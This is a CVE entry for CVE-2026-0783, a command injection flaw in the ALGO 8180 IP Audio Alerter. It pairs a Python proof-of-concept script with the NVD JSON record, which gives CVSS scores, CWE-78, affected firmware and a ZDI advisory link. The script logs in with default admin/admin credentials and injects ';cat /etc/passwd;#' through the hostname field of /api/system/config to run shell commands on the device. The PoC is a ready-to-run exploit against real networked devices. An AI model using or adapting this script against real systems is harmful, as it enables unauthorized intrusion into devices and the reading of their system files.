CVE-2026-0783

import requests import sys # CVE-2026-0783 PoC - ALGO 8180 IP Audio Alerter Command Injection # Authentication required target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.local" username = "admin" password = "admin" # Login to obtain session login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") sys.exit(1) print("[+] Login successful") # Exploit command injection # The vulnerable parameter in web UI allows command injection vulnerable_param = ";cat /etc/passwd;#" exploit_url = f"{target_url}/api/system/config" exploit_data = { "hostname": vulnerable_param, "description": "Test command injection" } response = session.post(exploit_url, json=exploit_data) if response.status_code == 200: print(f"[+] Command injection successful") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed: {response.status_code}")

{"cve": {"id": "CVE-2026-0783", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:05.770", "lastModified": "2026-02-13T20:44:20.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28292."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en la interfaz de usuario web de ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. Se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la interfaz de usuario basada en web. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28292."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-005/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}